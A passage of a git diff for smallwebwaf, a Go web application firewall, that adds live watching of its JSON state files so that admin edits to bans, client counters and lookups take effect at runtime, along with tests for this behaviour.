to its client's history only as it + // ends, which can be after this write, and then that request is + // missing from clients.json. <-written + <-watched err = files.WriteAll() if err != nil { diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index 76f6a22..befbab9 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -26,11 +26,14 @@ const ( // testVersion is the version the tests give smallwebwaf. testVersion = "test" // localhost is where the tests listen. - localhost = "127.0.0.1" - listenAddr = "SWWAF_LISTEN_ADDR" - upstreamURL = "SWWAF_UPSTREAM_URL" - stateDir = "SWWAF_STATE_DIR" - rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + localhost = "127.0.0.1" + listenAddr = "SWWAF_LISTEN_ADDR" + upstreamURL = "SWWAF_UPSTREAM_URL" + trustedProxies = "SWWAF_TRUSTED_PROXIES" + stateDir = "SWWAF_STATE_DIR" + stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" + stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" + rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" // greeting is what the tests' app answers. greeting = "hello from the app" ) @@ -217,8 +220,8 @@ func TestStateKeptAcrossRestarts(t *testing.T) { rateLimitPerDay: "2", // Neither comes due in the test: the files are written as // smallwebwaf stops. - "SWWAF_STATE_WRITE_DELAY": "1h", - "SWWAF_STATE_COUNTER_INTERVAL": "1h", + stateWriteDelay: "1h", + stateCounterInterval: "1h", } // The two requests a day allows, and a stop. @@ -247,12 +250,12 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) { const scope = "SWWAF_BAN_SCOPE_V4_PREFIX" env := map[string]string{ - listenAddr: localhost + ":0", - upstreamURL: startApp(t), - stateDir: t.TempDir(), - "SWWAF_TRUSTED_PROXIES": localhost + "/32", - rateLimitPerDay: "1", - scope: "24", + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + trustedProxies: localhost + "/32", + rateLimitPerDay: "1", + scope: "24", } // 203.0.113.9's second request breaks the day limit, and bans @@ -281,6 +284,38 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) { }) } +func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) { + t.Parallel() + + const ( + // bans.json as an admin writes it with a ban, permanent, on + // 203.0.113.0/24, and with none. + oneBan = `{"version": 1, "bans": [{"netblock": "203.0.113.0/24", ` + + `"start": "2026-10-06T00:00:00Z", "expires": null}]}` + noBan = `{"version": 1, "bans": []}` + ) + + dir := t.TempDir() + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: dir, + trustedProxies: localhost + "/32", + // No write comes due in the test, so only the watch on the + // directory can take the edits in. + stateWriteDelay: "1h", + stateCounterInterval: "1h", + } + + runUntilStopped(t, env, func(url string) { + path := filepath.Join(dir, "bans.json") + + saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden) + wantStatus(t, url, "198.51.100.7", http.StatusOK) + saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK) + }) +} + func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { t.Parallel() @@ -384,9 +419,9 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) { upstreamURL: appURL, stateDir: dir, "SWWAF_MODE": "enforce", - "SWWAF_STATE_WRITE_DELAY": "10s", - "SWWAF_STATE_COUNTER_INTERVAL": "15m", - "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", + stateWriteDelay: "10s", + stateCounterInterval: "15m", + trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", "SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES": "32K", "SWWAF_CLIENT_IDLE_TIMEOUT": "120s", @@ -479,6 +514,40 @@ func wantRefused(t *testing.T, url string) { func wantStatus(t *testing.T, url, from string, status int) { t.Helper() + got := statusFrom(t, url, from) + if got != status { + t.Errorf("request from %s: status %d, want %d", from, got, status) + } +} + +// saveUntilAnswered writes content to the state file at path, as an +// admin saves an edit of it, until a request to url from the client at +// from is answered with status. The file is written again before each +// request, since smallwebwaf may not watch its directory yet when it is +// first written. It waits as long as that takes, so that a slow test +// process cannot fail the test. +func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) { + t.Helper() + + for { + err := os.WriteFile(path, []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", path, err) + } + + if statusFrom(t, url, from) == status { + return + } + + time.Sleep(pollInterval) + } +} + +// statusFrom returns the status a request to url from the client at +// from, as X-Forwarded-For names it, is answered with. +func statusFrom(t *testing.T, url, from string) int { + t.Helper() + req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url, http.NoBody) if err != nil { @@ -497,7 +566,5 @@ func wantStatus(t *testing.T, url, from string, status int) { _ = res.Body.Close() - if res.StatusCode != status { - t.Errorf("request from %s: status %d, want %d", from, res.StatusCode, status) - } + return res.StatusCode } diff --git a/internal/state/state.go b/internal/state/state.go index f0d40dc..35551cb 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -1,14 +1,17 @@ // Package state keeps smallwebwaf's state in JSON files in // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and -// history, and lookups.json GeoJS's answers. Load reads them at start, and -// Run and WriteAll write them, each from a snapshot its part takes under -// its own lock, so that no request waits on the disk. +// history, and lookups.json GeoJS's answers. Load reads them at start, +// Watch takes in an admin's edit of one while smallwebwaf runs, and Run +// and WriteAll write them. The disk is read and written outside the +// parts' locks, which are held only to take a snapshot or to put in what +// a file holds, so that no request waits on the disk. package state import ( "bytes" "context" + "crypto/sha256" "encoding/json" "errors" "fmt" @@ -17,8 +20,10 @@ import ( "net/netip" "os" "path/filepath" + "sync" "time" + "github.com/fsnotify/fsnotify" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" @@ -61,15 +66,26 @@ type Params struct { // Now tells the time by which the counters' buckets run out, normally // time.Now in UTC. Now func() time.Time - // ProcessLog receives what was read, and the writes that fail. + // ProcessLog receives what was read and taken in, the edits set aside, + // and the writes that fail. ProcessLog *slog.Logger - // Metrics count each file's writes. + // Metrics count each file's writes, and the edits taken in and set + // aside. Metrics *metrics.Metrics } // Files are the state files of a running smallwebwaf. type Files struct { params Params + + // mu is held while a file is read for an edit, and while it is + // written, so that Watch and the writes take turns. No request takes + // it. + mu sync.Mutex + // sums are the SHA-256 sums of what each file held, by name, when + // smallwebwaf last read or wrote it. A file that holds anything else + // has been edited since. + sums map[string][sha256.Size]byte } // bansFile is bans.json, indented for an admin to read and edit. @@ -120,41 +136,28 @@ func Load(params Params) (*Files, error) { return nil, fmt.Errorf("SWWAF_STATE_DIR cannot be written: %w", err) } - var ( - bansIn bansFile - clientsIn clientsFile - lookupsIn lookupsFile - ) + f := &Files{params: params, sums: map[string][sha256.Size]byte{}} - err = errors.Join( - read(params.Dir, bansJSON, &bansIn), - read(params.Dir, clientsJSON, &clientsIn), - read(params.Dir, lookupsJSON, &lookupsIn), - ) + bansRead, bansErr := f.read(bansJSON) + clientsRead, clientsErr := f.read(clientsJSON) + lookupsRead, lookupsErr := f.read(lookupsJSON) + + err = errors.Join(bansErr, clientsErr, lookupsErr) if err != nil { return nil, err } - held := make([]bans.Ban, 0, len(bansIn.Bans)) - for _, entry := range bansIn.Bans { - held = append(held, entry.ban()) - } - - params.Ledger.Load(held) - params.Limiter.Load(clientsIn.Clients, params.Now()) - params.GeoJS.Load(lookupsIn.Lookups) - params.ProcessLog.Info("read the state files", "directory", params.Dir, - "bans", len(bansIn.Bans), "clients", len(clientsIn.Clients), - "lookups", len(lookupsIn.Lookups)) + "bans", bansRead, "clients", clientsRead, "lookups", lookupsRead) - return &Files{params: params}, nil + return f, nil } // Run writes bans.json WriteDelay after a ban is made, with every ban // made in between, and every file every CounterInterval, until ctx is // done. A write that fails is logged, and the file is written again at -// its next write. +// its next write. Each write takes in an admin's edit of its file first, +// as writeFile describes. func (f *Files) Run(ctx context.Context) { interval := time.NewTicker(f.params.CounterInterval) defer interval.Stop() @@ -172,7 +175,7 @@ func (f *Files) Run(ctx context.Context) { case <-bansDue: bansDue = nil - f.logFailure(f.writeBans()) + f.logFailure(f.writeFile(bansJSON)) case <-interval.C: f.logFailure(f.WriteAll()) } @@ -182,7 +185,50 @@ func (f *Files) Run(ctx context.Context) { // WriteAll writes every state file, as smallwebwaf stops. A file that // fails does not keep the others from being written. func (f *Files) WriteAll() error { - return errors.Join(f.writeBans(), f.writeClients(), f.writeLookups()) + return errors.Join(f.writeFile(bansJSON), f.writeFile(clientsJSON), + f.writeFile(lookupsJSON)) +} + +// Watch watches Dir until ctx is done, and takes in an admin's edit of a +// state file as soon as it is saved: what the file holds replaces what +// smallwebwaf held for it. An edit that does not parse is left for the +// file's next write, which sets it aside, since a file can be read while +// an editor is still writing it. If Dir cannot be watched, that is +// logged, and an edit is taken in only before its file is written. +func (f *Files) Watch(ctx context.Context) { + watcher, err := fsnotify.NewWatcher() + if err == nil { + defer func() { + _ = watcher.Close() + }() + + err = watcher.Add(f.params.Dir) + } + + if err != nil { + f.params.ProcessLog.Error("cannot watch the state files for edits", + "error", err.Error()) + + return + } + + f.params.ProcessLog.Info("watching the state files for edits", + "directory", f.params.Dir) + + for { + select { + case <-ctx.Done(): + return + case event := <-watcher.Events: + switch name := filepath.Base(event.Name); name { + case bansJSON, clientsJSON, lookupsJSON: + f.fileChanged(name) + } + case err = <-watcher.Errors: + f.params.ProcessLog.Warn("watching the state files failed", + "error", err.Error()) + } + } } // logFailure logs a write that failed. @@ -193,52 +239,209 @@ func (f *Files) logFailure(err error) { } } -// writeBans writes bans.json. -func (f *Files) writeBans() error { - held := f.params.Ledger.Snapshot() +// fileChanged takes in what the state file name holds, as Watch sees it +// change, if that is an edit made since smallwebwaf last read or wrote +// the file. A file that cannot be read or does not parse is left for its +// next write. +func (f *Files) fileChanged(name string) { + f.mu.Lock() + defer f.mu.Unlock() - file := bansFile{Version: version, Bans: make([]banEntry, 0, len(held))} - for _, ban := range held { - file.Bans = append(file.Bans, newBanEntry(ban)) + data, changed, err := f.readChanged(name) + if err != nil || !changed { + return } - data, err := json.MarshalIndent(file, "", " ") - if err != nil { - return fmt.Errorf("encode %s: %w", bansJSON, err) - } - - return f.writeCounted(bansJSON, append(data, '\n')) + _ = f.takeInEdit(name, data) } -// writeClients writes clients.json. -func (f *Files) writeClients() error { - data, err := encodeOnePerLine("clients", f.params.Limiter.Snapshot()) +// takeInEdit takes in data, an edit of the state file name, as takeIn +// does, and counts and logs it. Every edit taken in while smallwebwaf +// runs, by Watch or by a write, is taken in here. An edit that does not +// parse is neither counted nor logged, and takeIn's error returned. +func (f *Files) takeInEdit(name string, data []byte) error { + _, err := f.takeIn(name, data) if err != nil { - return fmt.Errorf("encode %s: %w", clientsJSON, err) + return err } - return f.writeCounted(clientsJSON, data) + // Counted before it is logged, so that the count is there once the + // log line is. + f.params.Metrics.StateFileEditTakenIn(name) + f.params.ProcessLog.Info("took in an edit of a state file", + "file", filepath.Join(f.params.Dir, name)) + + return nil } -// writeLookups writes lookups.json. -func (f *Files) writeLookups() error { - data, err := encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) - if err != nil { - return fmt.Errorf("encode %s: %w", lookupsJSON, err) +// read takes in the state file name at start, and returns how many +// entries it holds. A missing file holds none. +func (f *Files) read(name string) (int, error) { + data, changed, err := f.readChanged(name) + if err != nil || !changed { + return 0, err } - return f.writeCounted(lookupsJSON, data) + return f.takeIn(name, data) } -// writeCounted writes data to the state file name, as write does, and -// counts the write in the metrics. -func (f *Files) writeCounted(name string, data []byte) error { - err := write(f.params.Dir, name, data) +// readChanged returns what the state file name holds, and whether that +// has changed since smallwebwaf last read or wrote the file, as it has +// for a file smallwebwaf never read or wrote. A missing file has not +// changed: it is written again at its next write. +func (f *Files) readChanged(name string) ([]byte, bool, error) { + path := filepath.Join(f.params.Dir, name) + + data, err := os.ReadFile(path) //nolint:gosec // a state file, in SWWAF_STATE_DIR + if errors.Is(err, fs.ErrNotExist) { + return nil, false, nil + } + + if err != nil { + return nil, false, err + } + + return data, sha256.Sum256(data) != f.sums[name], nil +} + +// takeIn parses data, what the state file name holds, puts it into the +// part that keeps that state, in place of what the part held, and returns +// how many entries the file holds. An error names the file and, where the +// JSON decoder tells it, the line and column, or else the entry. +func (f *Files) takeIn(name string, data []byte) (int, error) { + path := filepath.Join(f.params.Dir, name) + + var entries int + + switch name { + case bansJSON: + var file bansFile + + err := parse(path, data, &file) + if err != nil { + return 0, err + } + + held := make([]bans.Ban, 0, len(file.Bans)) + for _, entry := range file.Bans { + held = append(held, entry.ban()) + } + + f.params.Ledger.Load(held) + entries = len(held) + case clientsJSON: + var file clientsFile + + err := parse(path, data, &file) + if err != nil { + return 0, err + } + + f.params.Limiter.Load(file.Clients, f.params.Now()) + entries = len(file.Clients) + case lookupsJSON: + var file lookupsFile + + err := parse(path, data, &file) + if err != nil { + return 0, err + } + + f.params.GeoJS.Load(file.Lookups) + entries = len(file.Lookups) + } + + f.sums[name] = sha256.Sum256(data) + + return entries, nil +} + +// writeFile writes the state file name from what smallwebwaf holds. An +// edit made since smallwebwaf last read or wrote the file is taken in +// first, so that it is not overwritten, or set aside if it does not +// parse. A file that cannot be read, or an edit that cannot be set +// aside, is left as it is, and the write given up. Every write is counted +// in the metrics, and one that fails or is given up as a failure. +func (f *Files) writeFile(name string) error { + f.mu.Lock() + defer f.mu.Unlock() + + data, changed, err := f.readChanged(name) + if err == nil && changed { + err = f.takeInEdit(name, data) + if err != nil { + err = f.setAside(name, err) + } + } + + if err == nil { + data, err = f.encode(name) + if err != nil { + err = fmt.Errorf("encode %s: %w", name, err) + } + } + + if err == nil { + err = write(f.params.Dir, name, data) + } + + if err == nil { + // The file holds data from here on, even if the directory sync + // fails, so that its next read does not take it for an admin's + // edit. + f.sums[name] = sha256.Sum256(data) + err = syncDirectory(f.params.Dir) + } + f.params.Metrics.StateFileWritten(name, len(data), err) return err } +// setAside renames the state file name, an edit that does not parse with +// parseErr, to name.bad, for the admin to mend, and logs it with where in +// the file the error is. If the rename fails, the edit is left as it is, +// and the error returned is parseErr joined with the rename's. +func (f *Files) setAside(name string, parseErr error) error { + path := filepath.Join(f.params.Dir, name) + + err := os.Rename(path, path+".bad") + if err != nil { + return errors.Join(parseErr, err) + } + + f.params.ProcessLog.Error("set aside an edit of a state file that does not parse", + "file", path+".bad", "error", parseErr.Error()) + f.params.Metrics.StateFileEditSetAside(name) + + return nil +} + +// encode returns the state file name as smallwebwaf writes it, from a +// snapshot of the part that keeps that state. +func (f *Files) encode(name string) ([]byte, error) { + switch name { + case bansJSON: + held := f.params.Ledger.Snapshot() + + file := bansFile{Version: version, Bans: make([]banEntry, 0, len(held))} + for _, ban := range held { + file.Bans = append(file.Bans, newBanEntry(ban)) + } + + data, err := json.MarshalIndent(file, "", " ") + if err != nil { + return nil, err + } + + return append(data, '\n'), nil + case clientsJSON: + return encodeOnePerLine("clients", f.params.Limiter.Snapshot()) + default: // lookups.json + return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) + } +} + // newBanEntry returns ban as bans.json holds it. func newBanEntry(ban bans.Ban) banEntry { entry := banEntry{Netblock: ban.Netblock, Start: ban.Start, Notes: ban.Notes} @@ -389,28 +592,16 @@ func checkWritable(dir string) error { return errors.Join(file.Close(), os.Remove(file.Name())) } -// read reads the state file name in dir into file, a pointer to that -// file's struct, and checks its entries. A missing file leaves file as it -// is. -func read(dir, name string, file stateFile) error { - path := filepath.Join(dir, name) - - data, err := os.ReadFile(path) //nolint:gosec // a state file, in SWWAF_STATE_DIR - if errors.Is(err, fs.ErrNotExist) { - return nil - } - - if err != nil { - return err - } - +// parse reads data, what the state file at path holds, into file, a +// pointer to that file's struct, and checks its entries. +func parse(path string, data []byte, file stateFile) error { // The version is read first, so that a file of another version is // refused for that, and not for an entry this version cannot read. var header struct { Version int `json:"version"` } - err = json.Unmarshal(data, &header) + err := json.Unmarshal(data, &header) if err == nil && header.Version != version { err = fmt.Errorf("%w %d, where this smallwebwaf reads version %d", errVersion, header.Version, version) @@ -463,7 +654,7 @@ func position(data []byte, err error) string { // write writes data to the file name in dir so that a crash at any // moment leaves either the old file or the new one, whole: data goes to a // temporary file in the same directory, which is synced and renamed over -// name, and then the directory is synced, so that the rename lasts. +// name. syncDirectory must follow, so that the rename lasts. func write(dir, name string, data []byte) error { path := filepath.Join(dir, name) temporary := path + ".tmp" @@ -475,10 +666,13 @@ func write(dir, name string, data []byte) error { if err != nil { _ = os.Remove(temporary) - - return err } + return err +} + +// syncDirectory syncs dir to the disk, so that a rename in it lasts. +func syncDirectory(dir string) error { directory, err := os.Open(dir) //nolint:gosec // SWWAF_STATE_DIR itself if err != nil { return err diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 7306687..b508b96 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -3,7 +3,10 @@ package state_test import ( "context" "encoding/json" + "io/fs" "log/slog" + "maps" + "net" "net/http" "net/http/httptest" "net/netip" @@ -28,6 +31,13 @@ const ( bansJSON = "bans.json" clientsJSON = "clients.json" lookupsJSON = "lookups.json" + // What the process log says once Watch watches the directory, and as + // it takes in an edit. + watching = "watching the state files for edits" + tookIn = "took in an edit of a state file" + // maxLogLines is how many lines of the process log wait for a test to + // read them. + maxLogLines = 64 ) // permanentBansJSON is bans.json holding permanentBan. @@ -290,7 +300,7 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) { } } -// The two tests below run Run in a synctest bubble, where time is a clock +// The three tests below run Run in a synctest bubble, where time is a clock // of the test's own: time.Sleep moves it on at once, and synctest.Wait // returns once Run waits for its next write, so that every write due by // then is on disk. @@ -302,7 +312,7 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) { dir := t.TempDir() params := newParams(dir) params.WriteDelay = 10 * time.Second - run(t, load(t, params)) + run(t, load(t, params).Run) // A second ban, made while the first waits to be written, puts the // write off no further, and is written with it. @@ -347,7 +357,7 @@ func TestEveryFileWrittenEveryCounterInterval(t *testing.T) { dir := t.TempDir() params := newParams(dir) params.CounterInterval = time.Minute - run(t, load(t, params)) + run(t, load(t, params).Run) // The files are removed once written, so that each interval shows // them written again. @@ -364,6 +374,44 @@ func TestEveryFileWrittenEveryCounterInterval(t *testing.T) { }) } +func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + params := newParams(dir) + params.WriteDelay = 10 * time.Second + run(t, load(t, params).Run) + + // A ban, and bans.json written with it. + params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), + midnight(), bans.Notes{}) + time.Sleep(params.WriteDelay) + synctest.Wait() + + // A second ban is to be written WriteDelay later. Just before + // then, an admin saves bans.json with the first ban lifted and + // another added. + params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), + midnight(), bans.Notes{}) + time.Sleep(params.WriteDelay - time.Nanosecond) + synctest.Wait() + edit(t, dir, bansJSON, permanentBansJSON) + + // The write takes the edit in first, and writes it back. The second + // ban, made after the admin opened the file, is lost, as "Edits + // while running" in SPEC.md says. + time.Sleep(time.Nanosecond) + synctest.Wait() + + if got := readFile(t, filepath.Join(dir, bansJSON)); got != permanentBansJSON { + t.Errorf("bans.json holds\n%s\nwant the edit", got) + } + + wantEqual(t, bansJSON, params.Ledger.Snapshot(), []bans.Ban{permanentBan()}) + }) +} + func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) { t.Parallel() @@ -459,24 +507,359 @@ func TestWritesAreCountedInTheMetrics(t *testing.T) { float64(len(permanentBansJSON))) } -func TestFailedRenameLeavesNoTemporaryFile(t *testing.T) { +func TestFileThatCannotBeReadIsNotWrittenOver(t *testing.T) { t.Parallel() dir := t.TempDir() - files := load(t, newParams(dir)) + path := filepath.Join(dir, bansJSON) + params := newParams(dir) + files := load(t, params) - // A directory named bans.json cannot be renamed over. - err := os.Mkdir(filepath.Join(dir, bansJSON), 0o700) + // bans.json is a socket, which cannot be opened as a file, even by + // root, as the tests run in Docker, but which a rename could replace. + // Whether it holds an edit cannot be told, so it is left as it is. + socket, err := (&net.ListenConfig{}).Listen(t.Context(), "unix", path) + if err != nil { + t.Fatalf("listen: %v", err) + } + + defer func() { + _ = socket.Close() + }() + + err = files.WriteAll() + if err == nil { + t.Error("writing with bans.json unreadable did not fail") + } + + info, err := os.Lstat(path) + if err != nil || info.Mode().Type() != fs.ModeSocket { + t.Errorf("bans.json is now %v (%v), want the socket", info, err) + } + + wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + wantWriteFailed(t, params, bansJSON) +} + +func TestBrokenEditThatCannotBeSetAsideIsNotWrittenOver(t *testing.T) { + t.Parallel() + + const broken = `{"version": 1, "bans": [` + + dir := t.TempDir() + path := filepath.Join(dir, bansJSON) + params := newParams(dir) + files := load(t, params) + + // A directory named bans.json.bad cannot be renamed over, so the + // broken edit cannot be set aside, and is left as it is. + edit(t, dir, bansJSON, broken) + + err := os.Mkdir(path+".bad", 0o700) if err != nil { t.Fatalf("mkdir: %v", err) } err = files.WriteAll() if err == nil { - t.Error("writing over a directory did not fail") + t.Error("writing with bans.json.bad in the way did not fail") } + if got := readFile(t, path); got != broken { + t.Errorf("bans.json holds\n%s\nwant the edit", got) + } + + wantWriteFailed(t, params, bansJSON) +} + +func TestEditOfEachFileTakenIn(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + fill(params) + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + watch(t, files, lines) + + // Each edit holds one entry, for a client the parts did not hold, and + // takes the place of everything the part held. + client := netip.MustParsePrefix("198.51.100.7/32") + + edit(t, dir, bansJSON, `{"version": 1, "bans": [{"netblock": "198.51.100.7/32", `+ + `"start": "2026-10-06T00:00:00Z", "expires": null}]}`) + wantTakenIn(t, lines, dir, bansJSON) + wantEqual(t, bansJSON, params.Ledger.Snapshot(), + []bans.Ban{{Netblock: client, Start: midnight()}}) + + edit(t, dir, clientsJSON, `{"version": 1, "clients": [`+ + `{"client": "198.51.100.7/32", "history": {"requests": 7}}]}`) + wantTakenIn(t, lines, dir, clientsJSON) + wantEqual(t, clientsJSON, params.Limiter.Snapshot(), + []ratelimit.Client{{Client: client, History: ratelimit.History{Requests: 7}}}) + + edit(t, dir, lookupsJSON, `{"version": 1, "lookups": [{"client": "198.51.100.7/32", `+ + `"country": "FR", "answered": "2026-10-06T00:00:00Z"}]}`) + wantTakenIn(t, lines, dir, lookupsJSON) + wantEqual(t, lookupsJSON, params.GeoJS.Snapshot(), + []lookup.Answer{{Client: client, Country: "FR", Answered: midnight()}}) +} + +func TestOwnWritesAreNotTakenIn(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + fill(params) + files := load(t, params) + watch(t, files, lines) + + // Every file is written while watched, and then lookups.json edited: + // the first edit taken in is that one. + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + edit(t, dir, lookupsJSON, `{"version": 1, "lookups": []}`) + wantTakenIn(t, lines, dir, lookupsJSON) +} + +func TestFileRenamedOverAStateFileTakenIn(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + path := filepath.Join(dir, bansJSON) + params := newParams(dir) + lines := logInto(¶ms) + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + watch(t, files, lines) + + // The admin mends bans.json.bad and moves it back, as editors that + // save by renaming do with a file of their own: nothing is written + // into bans.json itself. An edit of clients.json after it must be + // taken in second. + edit(t, dir, bansJSON+".bad", permanentBansJSON) + + err = os.Rename(path+".bad", path) + if err != nil { + t.Fatalf("rename: %v", err) + } + + edit(t, dir, clientsJSON, `{"version": 1, "clients": []}`) + + wantTakenIn(t, lines, dir, bansJSON) + wantEqual(t, bansJSON, params.Ledger.Snapshot(), []bans.Ban{permanentBan()}) +} + +func TestBanAddedAndLiftedThroughBansJSON(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + watch(t, load(t, params), lines) + + client := netip.MustParseAddr("203.0.113.9") + + // An entry added, as an admin writes it, bans its netblock. + edit(t, dir, bansJSON, `{"version": 1, "bans": [{"netblock": "203.0.113.0/24", `+ + `"start": "2026-10-06T00:00:00Z", "expires": null}]}`) + wantTakenIn(t, lines, dir, bansJSON) + + _, banned := params.Ledger.Check(client, midnight()) + if !banned { + t.Error("the ban added to bans.json does not refuse") + } + + // The entry removed lifts the ban. + edit(t, dir, bansJSON, `{"version": 1, "bans": []}`) + wantTakenIn(t, lines, dir, bansJSON) + + _, banned = params.Ledger.Check(client, midnight()) + if banned { + t.Error("the ban removed from bans.json still refuses") + } +} + +func TestBrokenEditSetAsideAtTheNextWrite(t *testing.T) { + t.Parallel() + + // It ends a ban's entry with a comma. + const broken = "{\n \"version\": 1,\n \"bans\": [\n" + + " {\"netblock\": \"203.0.113.9/32\",}\n ]\n}\n" + + dir := t.TempDir() + path := filepath.Join(dir, bansJSON) + params := newParams(dir) + lines := logInto(¶ms) + params.Ledger.Load([]bans.Ban{permanentBan()}) + files := load(t, params) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + watch(t, files, lines) + + // While smallwebwaf runs, the broken edit is left as it is: an edit + // of clients.json, made after it and taken in, shows that it has been + // seen. + edit(t, dir, bansJSON, broken) + edit(t, dir, clientsJSON, `{"version": 1, "clients": []}`) + wantTakenIn(t, lines, dir, clientsJSON) wantFiles(t, dir, bansJSON, clientsJSON, lookupsJSON) + + // The next write sets it aside, logged with where the error is, and + // writes bans.json again from what smallwebwaf still holds. + err = files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + line := lines.waitFor(t, "set aside an edit of a state file that does not parse") + message, _ := line["error"].(string) + + if line["file"] != path+".bad" || + !strings.HasPrefix(message, path+", line 4, column 39: ") { + t.Errorf("set aside with %v", line) + } + + wantFiles(t, dir, bansJSON, bansJSON+".bad", clientsJSON, lookupsJSON) + + if got := readFile(t, path+".bad"); got != broken { + t.Errorf("bans.json.bad holds\n%s\nwant the edit", got) + } + + if got := readFile(t, path); got != permanentBansJSON { + t.Errorf("bans.json holds\n%s\nwant\n%s", got, permanentBansJSON) + } +} + +func TestEditsTakenInAreCountedInTheMetrics(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + files := load(t, params) + + // One edit is taken in by the write of its file, before Watch runs, + // and one by Watch. + edit(t, dir, bansJSON, `{"version": 1, "bans": []}`) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + watch(t, files, lines) + edit(t, dir, bansJSON, permanentBansJSON) + wantTakenIn(t, lines, dir, bansJSON) + + wantMetric(t, scrape(t, params), + `smallwebwaf_state_file_edits_taken_in_total{file="bans.json"}`, 2) +} + +func TestEditTakenInByAWriteIsLoggedAsWatchLogsIt(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + files := load(t, params) + + // An edit taken in by Watch, which is then stopped. + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + files.Watch(ctx) + close(stopped) + }() + + lines.waitFor(t, watching) + edit(t, dir, bansJSON, `{"version": 1, "bans": []}`) + byWatch := lines.waitFor(t, tookIn) + + stop() + <-stopped + + // An edit taken in by the write of its file. Nothing logs after the + // write, so the log is closed, and a write that does not log the edit + // fails the test at once instead of waiting for the line. + edit(t, dir, bansJSON, permanentBansJSON) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + close(lines) + + byWrite := lines.waitFor(t, tookIn) + + // The two lines differ only in their time. + delete(byWatch, "time") + delete(byWrite, "time") + + if !maps.Equal(byWrite, byWatch) { + t.Errorf("the write logged %v, where Watch logged %v", byWrite, byWatch) + } +} + +func TestEditsSetAsideAreCountedInTheMetrics(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + files := load(t, params) + + edit(t, dir, bansJSON, `{"version": 1, "bans": [`) + + err := files.WriteAll() + if err != nil { + t.Fatalf("write: %v", err) + } + + wantMetric(t, scrape(t, params), + `smallwebwaf_state_file_edits_set_aside_total{file="bans.json"}`, 1) +} + +func TestDirectoryThatCannotBeWatchedIsLogged(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + params := newParams(dir) + lines := logInto(¶ms) + files := load(t, params) + + err := os.Remove(dir) + if err != nil { + t.Fatalf("remove: %v", err) + } + + // Watch returns at once. + files.Watch(t.Context()) + + line := lines.waitFor(t, "cannot watch the state files for edits") + if line["level"] != "ERROR" { + t.Errorf("logged as %v", line) + } } // midnight is the time of the tests' clock. @@ -573,15 +956,16 @@ func load(t *testing.T, params state.Params) *state.Files { return files } -// run runs files' writes until the test ends. -func run(t *testing.T, files *state.Files) { +// run runs task, the Run or the Watch of state files, until the test +// ends. +func run(t *testing.T, task func(context.Context)) { t.Helper() ctx, stop := context.WithCancel(t.Context()) stopped := make(chan struct{}) go func() { - files.Run(ctx) + task(ctx) close(stopped) }() @@ -591,6 +975,80 @@ func run(t *testing.T, files *state.Files) { }) } +// watch runs files' Watch until the test ends, and waits until it +// watches the directory. +func watch(t *testing.T, files *state.Files, 